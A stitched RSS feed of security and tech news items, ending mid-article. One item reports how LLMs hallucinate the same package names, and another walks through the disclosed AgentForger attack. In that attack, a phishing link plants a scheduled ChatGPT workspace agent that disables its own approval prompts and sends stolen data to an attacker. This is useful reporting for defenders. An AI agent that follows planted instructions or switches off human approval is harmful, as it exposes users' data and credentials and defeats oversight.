<p class="wp-block-paragraph">While Churilov’s research will worry CISOs and security-conscious developers, there is some relief. The research has not yet found any evidence that any of the remaining 53 names have been registered maliciously, nor used in an attack.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4200884/top-ais-invent-same-fake-pypl-and-npm-package-names.html">InfoWorld</a>.</em></p>
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<title><![CDATA[Top AIs invent same fake PyPl and npm package names]]></title>
<description><![CDATA[Enterprise software developers continue to be in danger of falling victim to slopsquatting, where AI coding tools hallucinate the existence of nonexistent libraries and hackers create malicious packages in response.



The top AI coding tools are remarkably consistent in their hallucinations: Res...]]></description>
<link>https://tsecurity.de/de/3691310/ai-nachrichten/top-ais-invent-same-fake-pypl-and-npm-package-names/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691310/ai-nachrichten/top-ais-invent-same-fake-pypl-and-npm-package-names/</guid>
<pubDate>Fri, 24 Jul 2026 12:51:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprise software developers continue to be in danger of falling victim to slopsquatting, where AI coding tools hallucinate the existence of nonexistent libraries and hackers create malicious packages in response.</p>



<p class="wp-block-paragraph">The top AI coding tools are remarkably consistent in their hallucinations: Researcher Aleksandr Churilov found the same 127 fake package names generated by five different LLMs.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/3961304/ai-hallucinations-lead-to-new-cyber-threat-slopsquatting.html">Slopsquatting is a relatively new form of malware attack</a> that involves the creation of malicious packages in response to the hallucinations of AI coding tools, causing the malicious packages to be incorporated into legitimate applications.</p>



<p class="wp-block-paragraph">Churilov set out his findings in a research paper, <a href="https://arxiv.org/abs/2605.17062" target="_blank" rel="noreferrer noopener">The Range Shrinks, the Threat Remains: Re-evaluating LLM Package Hallucinations on the 2026 Frontier-Model Cohort</a>, which is yet to be peer-reviewed. He found 127 hallucinated package names were shared across Claude Sonnet 4.6, Claude Haiku 4.5, GPT-5.4-mini, Gemini 2.5 Pro, and DeepSeek V3.2.</p>



<p class="wp-block-paragraph"> As of April this year, 53 of those names — 41 on the PyPI software repository and 12 on npm —are still available for registration.</p>



<p class="wp-block-paragraph">According to the study, there are two reasons for this amount of conformity in the output of the models. First, models may learn the same incorrect package references from shared public training material, such as tutorials and documentation.</p>



<p class="wp-block-paragraph">Second, they may independently extrapolate plausible names from ecosystem conventions. In this way, they could produce names that look correct, even if they don’t actually exist.</p>



<p class="wp-block-paragraph">While Churilov’s research will worry CISOs and security-conscious developers, there is some relief. The research has not yet found any evidence that any of the remaining 53 names have been registered maliciously, nor used in an attack.</p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Thailand SEC Files Criminal Complaint Against Bitkub Over 2021 Cyberattack]]></title>
<description><![CDATA[Thailand's cryptocurrency exchange Bitkub has rejected allegations of fraud after the Thailand SEC filed a criminal complaint related to the company's disclosures following the Bitkub cyberattack in 2021. The case focuses on how the exchange reported the impact of the cyberattack on Bitkub to reg...]]></description>
<link>https://tsecurity.de/de/3690896/it-security-nachrichten/thailand-sec-files-criminal-complaint-against-bitkub-over-2021-cyberattack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690896/it-security-nachrichten/thailand-sec-files-criminal-complaint-against-bitkub-over-2021-cyberattack/</guid>
<pubDate>Fri, 24 Jul 2026 09:10:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="832" height="515" src="https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Bitkub cyberattack" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack.webp 832w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-300x186.webp 300w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-768x475.webp 768w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-600x371.webp 600w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-150x93.webp 150w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-750x464.webp 750w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack.webp 832w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-300x186.webp 300w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-768x475.webp 768w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-600x371.webp 600w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-150x93.webp 150w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-750x464.webp 750w" sizes="(max-width: 832px) 100vw, 832px" title="Thailand SEC Files Criminal Complaint Against Bitkub Over 2021 Cyberattack 1"></p><span data-contrast="auto">Thailand's cryptocurrency exchange Bitkub has rejected allegations of fraud after the Thailand SEC filed a criminal complaint related to the company's disclosures following the Bitkub cyberattack in 2021. The case focuses on how the exchange reported the impact of the cyberattack on Bitkub to regulators, rather than on the safety of customer funds.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">In response to the complaint, Bitkub stated that all customer assets currently held on its platform remain safe, fully accounted for, and protected in accordance with applicable regulations. The company argued that the allegations stem from decisions made during the aftermath of the 2021 <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29116">security</a> breach and do not reflect fraudulent conduct.</span><span data-ccp-props="{}"> </span>
<h3><strong>Thailand SEC Files Complaint Over the 2021 Bitkub Cyberattack </strong></h3>
<span data-contrast="auto">On 23 July 2026, the<a href="https://www.sec.or.th/EN/Pages/News_Detail.aspx?SECID=13139" target="_blank" rel="nofollow noopener"> Thailand SEC filed a criminal complaint</a> against Bitkub Online Co., Ltd. and its former directors, Sakolkorn Sakavee and Thaweesap Rawan. The regulator alleged that the company's daily net capital reports submitted between 10 May and 30 October 2021 failed to accurately reflect the material reduction in its digital asset holdings caused by the Bitkub <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29115">cyberattack</a>.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to the regulator, the reports did not disclose the impact of the theft on the company's asset balance. The Thailand SEC also accused the two former directors of making false entries in company documents that gave the impression that customer assets were still being held normally and that the company had not suffered any damage.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The complaint has been referred to Thailand's Economic Crime Suppression Division for further investigation. Following that process, the matter may be forwarded to prosecutors and the courts. The Thailand SEC noted that filing a <a href="https://thecyberexpress.com/fake-emails-scam-indians-heres-what-to-know/" target="_blank" rel="noopener">criminal complaint</a> does not represent a final determination of guilt.</span><span data-ccp-props="{}"> </span>
<h3><strong>Bitkub Says Disclosure Decision was Intended to Prevent Customer Losses</strong></h3>
<span data-contrast="auto">Following media reports about the complaint, <a href="https://www.linkedin.com/posts/on-23-july-2026-news-reports-emerged-regarding-share-7486045546315694081-abKc/?utm_source=share&amp;utm_medium=member_android&amp;rcm=ACoAAAfAnJwBMfzai0rLzfzxnZE_NCnVt2ZLE_o" target="_blank" rel="nofollow noopener">Bitkub published a statement on LinkedIn</a> explaining its position on the cyberattack and the subsequent reporting decisions.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company said the allegations relate to an incident in early May 2021, when one of its digital asset wallets was compromised by cybercriminals. Bitkub acknowledged that the breach was not disclosed at the time.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to the company, the individual responsible for disclosure obligations deliberately withheld information about the wallet compromise. Bitkub said the decision was made to avoid triggering a "bank run," or mass withdrawals of digital assets by customers, while the company worked to replace the stolen assets.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The exchange stated:</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">"The decision of such individual not to disclose the incident was made with the intention to prevent a bank run—that is, a mass withdrawal of digital assets by customers upon learning of the theft—which could have rendered the Company unable to procure sufficient replacement digital assets for the customers while the recovery process was still ongoing."</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Bitkub added that such a scenario could have resulted in significant customer losses and broader damage to Thailand's digital asset industry.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company also stressed that, at the time of the Bitkub <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-a-cyber-attack/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29117">cyberattack</a>, all of its digital asset wallet security systems complied with standards prescribed by the relevant authorities and had been audited.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Co-founders Replaced Stolen Assets After Cyberattack on Bitkub</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Although the digital assets stolen during the cyberattack on Bitkub were never recovered, the company said its co-founders voluntarily absorbed the <a href="https://thecyberexpress.com/keytronic-reveals-million-loss-cyberattack/" target="_blank" rel="noopener">financial loss</a>.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to Bitkub, the co-founders purchased digital assets matching the same types and quantities as those stolen and transferred them to the company. As a result, the exchange said neither its customers nor the business ultimately suffered any financial loss from the incident.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">In its statement, Bitkub said:</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">"As no bank run occurred, even though the stolen digital assets could not be recovered, the Co-Founders of the Bitkub Group voluntarily absorbed the loss by purchasing equivalent digital assets (in the same type and quantity as those stolen) and providing them to the Company. Consequently, neither the Company nor its customers suffered any financial loss from the theft."</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Thailand SEC Previously Confirmed Customer Assets Were Intact</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Bitkub also pointed to the findings of an earlier inspection conducted by the Thailand SEC after reports of the Bitkub cyberattack surfaced online.</span><span data-ccp-props="{}"> </span><span data-contrast="auto">According to the company, the regulator verified that, as of 8 September 2025, all customer assets held by the exchange were safe and fully accounted for.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company reiterated this point in its latest statement, saying:</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">"At the outset, for the sake of clarity and mutual understanding, the Company wishes to affirm that all customers' assets currently held by the Company are safe and fully accounted for. The Company reiterates its strict compliance with all applicable laws and regulations in safeguarding and maintaining customer assets."</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Bitkub maintained that the criminal complaint relates to historical reporting practices between May and October 2021, more than five years ago, rather than to the current condition of customer assets or any ongoing security concerns.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">As the investigation proceeds, the case will determine whether the company's reporting following the Bitkub cyberattack complied with regulatory requirements. For now, the complaint remains an allegation, and the legal process involving the Thailand SEC, investigators, prosecutors, and the courts has yet to reach a final conclusion.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
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<title><![CDATA[AgentForger proves AI agents can become persistent insider threats]]></title>
<description><![CDATA[A new attack method found by Zenity Labs reveals that AI agents are becoming persistent insiders that attackers can recruit, rather than malware they have to install.



Its researchers have discovered AgentForger, a phishing-based attack that silently creates and launches a fully autonomous AI a...]]></description>
<link>https://tsecurity.de/de/3690493/it-security-nachrichten/agentforger-proves-ai-agents-can-become-persistent-insider-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690493/it-security-nachrichten/agentforger-proves-ai-agents-can-become-persistent-insider-threats/</guid>
<pubDate>Fri, 24 Jul 2026 02:32:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A new attack method found by Zenity Labs reveals that AI agents are becoming persistent insiders that attackers can recruit, rather than malware they have to install.</p>



<p class="wp-block-paragraph">Its researchers have discovered <a href="https://labs.zenity.io/p/agentforger-part-1-chatgpt-cross-site-agent-forgery" target="_blank" rel="noreferrer noopener">AgentForger</a>, a phishing-based attack that silently creates and launches a fully autonomous AI agent within OpenAI workspaces.</p>



<p class="wp-block-paragraph">Once running, the agent has full access to apps like Outlook, Slack, SharePoint, and Google Drive. It is configured to operate indefinitely without further user interaction, can approve its own access by toggling “never ask” settings, and can continue to act on new assignments sent via email by the attackers that control it. Broad, unfettered access to systems allows it to perform reconnaissance, harvest sensitive data and credentials, impersonate victims, and launch phishing campaigns.</p>



<p class="wp-block-paragraph">While OpenAI resolved the vulnerability four days after disclosure, on a larger scale, AgentForger sheds light on what can happen when <a href="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html" target="_blank">AI agents go rogue</a>.</p>



<p class="wp-block-paragraph">“We’re moving into a world where software doesn’t just help people work. It works alongside them,” said <a href="https://zenity.io/authors/michael-bargury" target="_blank" rel="noreferrer noopener">Michael Bargury</a>, co-founder and CTO of agentic AI security platform Zenity. “As AI agents become more capable, attackers will naturally look for ways to influence them, just as they’ve always looked for ways to influence people.”</p>



<h2 class="wp-block-heading">A ‘persistent operator’ that acts without approval</h2>



<p class="wp-block-paragraph">OpenAI’s Workspace Agents can connect and work autonomously across Outlook, Gmail, Slack, Google Drive, SharePoint, and Teams. Users open the agent builder, describe what the agent can do in natural language, connect to tools, set approvals, review and test, schedule actions, then publish. For instance, an agent can autonomously handle incoming emails, review and take actions with approval, gather information from various sources to send out daily briefings, or automatically respond to questions in ChatGPT or Slack channels.</p>



<p class="wp-block-paragraph">Normally, this is “useful automation,” Zenity AI red team researcher <a href="https://labs.zenity.io/authors/mike-takahashi" target="_blank" rel="noreferrer noopener">Mike Takahashi</a> wrote in a <a href="https://labs.zenity.io/p/agentforger-part-1-chatgpt-cross-site-agent-forgery" target="_blank" rel="noreferrer noopener">blog post</a>. But in this attack, “the same scheduler becomes the persistence mechanism.”</p>



<p class="wp-block-paragraph">The creation workflow kicks off the moment a user clicks on a phishing link containing instructions from the threat actor. For the attack to work, a victim must be logged into ChatGPT and Workspace Agents, and have at least one integration with another app, such as Outlook, Gmail, Slack, Google Drive, SharePoint, or Teams.</p>



<p class="wp-block-paragraph">Because those connections already exist, OAuth consent screens are not triggered. Furthermore, the victim does not need to click on another link, keep a Builder tab open, or even visit ChatGPT again.</p>



<p class="wp-block-paragraph">The forged agent is a “persistent operator;” it is installed on the original click and given a schedule, and at those predetermined times, the agent invokes itself, scans for emails from attacker addresses with the subject line “task”, carries those orders out, then returns results to the same attacker-controlled email address.</p>



<p class="wp-block-paragraph">It goes undetected because the attacker prompt instructs the Builder to toggle Outlook to never ask for approval of its actions. Typically, the default is “always ask,” to keep agents from taking unauthorized action; that switch gives agents the ability to act without asking for human approval.</p>



<p class="wp-block-paragraph">“AgentForger showed that an attacker could deploy an autonomous insider agent inside your ChatGPT workspace with a single click,” said Bargury. From there, it can continue to access information, harvest credentials from various sources, impersonate employees, and carry out phishing attacks and fraud while “leveraging the trusted victim’s identity.”</p>



<h2 class="wp-block-heading">A ‘planted accomplice’ that does all the work</h2>



<p class="wp-block-paragraph">Once activated, AgentForger can perform reconnaissance to create an internal map of a company. For instance, agents can scan Outlook, Slack, Teams, Google Drive, SharePoint, or calendar data to identify people, roles, active projects, internal discussions, or all-hands recurring meetings. This can help attackers identify where in the enterprise to target next, based on active teams and channels, projects in the works, or prominent users.</p>



<p class="wp-block-paragraph">“This is the kind of internal context an attacker normally has to build slowly,” Takahashi noted. But in this scenario, action is based on a single emailed assignment. The attacker’s “planted accomplice” does all the work.</p>



<p class="wp-block-paragraph">In another scenario, the agent can steal data by searching for and identifying financial documents, business agreements, or invoices. Or, it can steal credentials by scanning for messages containing passwords, one-time codes, access tokens, password recovery links, or API keys. Further, it can impersonate victims to carry out phishing scams, for instance, by sending legitimate-looking Teams messages instructing users to confirm their credentials on a fake Microsoft login page.</p>



<p class="wp-block-paragraph">In all cases, collected information is organized, analyzed, and sent back to the attacker.</p>



<p class="wp-block-paragraph">“AgentForger points to something much bigger than a single vulnerability,” said Bargury. “It’s less about one bug and more about understanding how the <a href="https://www.csoonline.com/article/4198963/ai-security-operations-and-the-new-race-against-time.html" target="_blank">security model changes</a> as AI becomes part of everyday business operations.”</p>



<h2 class="wp-block-heading">FOMO exposing security gaps</h2>



<p class="wp-block-paragraph">This isn’t necessarily about trust, but more about the need to move fast and adapt, Bargury emphasized. AI agents are helping employees automate work, make decisions faster, and get more done. But enterprises fear they’ll fall behind if they don’t move quickly enough.</p>



<p class="wp-block-paragraph">“The challenge is that we’re introducing a fundamentally new kind of technology into the enterprise,” said Bargury. “The pressure to integrate the next AI feature is outpacing the security controls needed to safely deploy it.”</p>



<p class="wp-block-paragraph">However, the answer isn’t to slow down adoption, he emphasized; the business value is too significant. Rather, the first step is understanding where AI agents exist, who created them, what they’re connected to, and what they’re allowed to do. And when it comes to autonomous agents, enterprises need to pay attention to the processes that trigger them: A schedule, an incoming email, or another automated event.</p>



<p class="wp-block-paragraph">“Those triggers should be governed just as carefully as the agent itself,” said Bargury.</p>



<p class="wp-block-paragraph">High-impact actions should require approval where appropriate, and security teams should be able to quickly disable an agent or its triggers if something doesn’t look right, he said.</p>



<p class="wp-block-paragraph">More broadly, AI agents are introducing the need for a new security model, he pointed out. The question is no longer just “Does this agent have permission?” It’s also, “Is this the behavior we intended?”</p>



<p class="wp-block-paragraph">“The organizations that answer both questions will be in the strongest position to adopt AI safely,” Bargury said.</p>
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<title><![CDATA[‘The Java Story’ recounts the rise, fall, and rise again of Java]]></title>
<description><![CDATA[The evolution of Java is the subject of a just-released documentary about the programming language and development platform. “The Java Story: The Official Documentary” tells the story of Java through interviews with the engineers who created it and shepherded it through three decades.



Produced...]]></description>
<link>https://tsecurity.de/de/3690140/ai-nachrichten/the-java-story-recounts-the-rise-fall-and-rise-again-of-java/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690140/ai-nachrichten/the-java-story-recounts-the-rise-fall-and-rise-again-of-java/</guid>
<pubDate>Thu, 23 Jul 2026 22:04:52 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">The evolution of <a href="https://www.infoworld.com/article/2335996/9-reasons-java-is-still-great.html" data-type="link" data-id="https://www.infoworld.com/article/2335996/9-reasons-java-is-still-great.html">Java</a> is the subject of a just-released documentary about the programming language and development platform. <a href="https://inside.java/2026/07/18/the-java-documentary/">“The Java Story: The Official Documentary”</a> tells the story of Java through interviews with the engineers who created it and shepherded it through three decades.</p>



<p class="wp-block-paragraph">Produced by <a href="https://www.youtube.com/@cultrepo">CultRepo</a> and sponsored by Oracle, JetBrains, IBM, and Azul, the documentary follows Java from its set-top box and browser-based origins at Sun Microsystems in the 1990s and through its rise to dominate server-side computing in the 2000s, the “dark ages” and resurgence with Java 8 under Oracle in the 2010s, and its continuing modernization and promising role in AI today. “From its humble beginnings as a project code-named ‘Oak’ at Sun Microsystems to becoming a global standard for enterprise software and billions of devices, Java’s journey is one of radical innovation, strategic pivots, and enduring community strength,” said Cult.Repo. </p>



<p class="wp-block-paragraph">The documentary also delves into Sun’s bitter Java licensing dispute with Microsoft, Oracle’s suit of Google over its use of Java APIs Android (Google won), the creation of the <a href="https://www.infoworld.com/article/2164290/a-look-inside-the-java-community-process.html" data-type="link" data-id="https://www.infoworld.com/article/2164290/a-look-inside-the-java-community-process.html">Java Community Process</a>, Sun’s open-sourcing of Java, and Oracle’s switch to the six-month release cycle. Technical enhancements such as lambda expressions in Java 8, virtual threads in Java 21 (<a href="https://www.infoworld.com/article/2334607/project-loom-understand-the-new-java-concurrency-model.html" data-type="link" data-id="https://www.infoworld.com/article/2334607/project-loom-understand-the-new-java-concurrency-model.html">Project Loom</a>), and the ongoing refactor to bring value objects to the Java object model (<a href="https://www.infoworld.com/article/2337986/project-valhalla-a-look-inside-javas-epic-refactor.html" data-type="link" data-id="https://www.infoworld.com/article/2337986/project-valhalla-a-look-inside-javas-epic-refactor.html">Project Valhalla</a>) also get attention. </p>



<p class="wp-block-paragraph">Technical experts and other Java figures interviewed in the documentary include James Gosling, creator of Java; Kim Polese, Java’s first product manager; Carla Schroer, director of Java compatibility at Sun Microsystems; James Duncan Davidson, creator of Apache Tomcat; Mark Reinhold, chief architect of the Java Platform Group at Oracle; Brian Goetz, Java language architect in the Java Platform Group at Oracle; Rod Johnson, creator of Spring; and Gavin King, creator of Hibernate. </p>
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<title><![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]></title>
<description><![CDATA[Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture t...]]></description>
<link>https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with <a href="https://bfl.ai/blog/flux-3">today's launch of FLUX 3</a>, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.</p><p>The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. </p><p>That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. </p><div></div><p>FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a <a href="https://tally.so/r/44d9NX">gated "Early Access" program now</a>, to which anyone can apply, but which BFL must approve. </p><p>There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, though those were ostensibly for security concerns and due to government request. </p><p>What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.</p><p>Another big notable omission: FLUX 3 is <i>not</i> launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.</p><p>But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. </p><h2><b>Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption</b></h2><p>BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. </p><p>In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.</p><p>One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.</p><p>Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.</p><p>Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.</p><p><a href="https://venturebeat.com/technology/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation">Gemini Omni Flash</a>, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. </p><p>Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.</p><p>One regional wrinkle matters for a German company's home market. Editing <i>uploaded</i> video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.</p><p>Here's a rough guide for enterprises considering which video models to rely upon: </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Max single-generation duration</b></p></td><td><p><b>Max resolution</b></p></td><td><p><b>Key constraints</b></p></td><td><p><b>Price per 10-second clip (720p)</b></p></td><td><p><b>Price per 10-second clip (1080p)</b></p></td><td><p><b>Price per 10-second clip (4K)</b></p></td></tr><tr><td><p>FLUX 3 Video </p></td><td><p><b>20 seconds </b></p></td><td><p>Not stated; evaluations run at 720p </p></td><td><p>Early access; no published SLA or pricing </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td></tr><tr><td><p>HappyHorse 1.1 </p></td><td><p>15 seconds </p></td><td><p>1080p </p></td><td><p>No 4K; closed weights </p></td><td><p>Not published (v1.0 reseller rate is ~$1.82) </p></td><td><p>Not published (v1.0 reseller rate is ~$3.12) </p></td><td><p>n/a </p></td></tr><tr><td><p>Veo 3.1 </p></td><td><p>Per-second billing </p></td><td><p><b>4K</b> </p></td><td><p><b>Supports clip extension; preview </b></p></td><td><p>$4.00 </p></td><td><p>$4.00 </p></td><td><p>$6.00 </p></td></tr><tr><td><p>Veo 3.1 Fast </p></td><td><p>Per-second billing </p></td><td><p><b>4K </b></p></td><td><p>Preview </p></td><td><p>$1.00 </p></td><td><p>$1.20 </p></td><td><p><b>$3.00 </b></p></td></tr><tr><td><p>Veo 3.1 Lite </p></td><td><p>Per-second billing </p></td><td><p>1080p </p></td><td><p>No 4K, no clip extension; preview </p></td><td><p><b>$0.50 </b></p></td><td><p><b>$0.80 </b></p></td><td><p>n/a </p></td></tr><tr><td><p>Gemini Omni Flash </p></td><td><p>10 seconds (3s minimum) </p></td><td><p>720p at 24 FPS </p></td><td><p>Preview abd no EU access</p></td><td><p>$1.00 </p></td><td><p>n/a </p></td><td><p>n/a </p></td></tr></tbody></table><h2><b>One architecture for media generation and physical action</b></h2><p>FLUX 3 builds on <a href="https://venturebeat.com/technology/black-forest-labs-new-self-flow-technique-makes-training-multimodal-ai">Self-Flow</a>, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. </p><p>The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.</p><p>"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."</p><p>He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."</p><p>BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.</p><p>For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.</p><p>For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.</p><h2><b>What FLUX 3 Video can actually do</b></h2><p>The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. </p><p>Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from 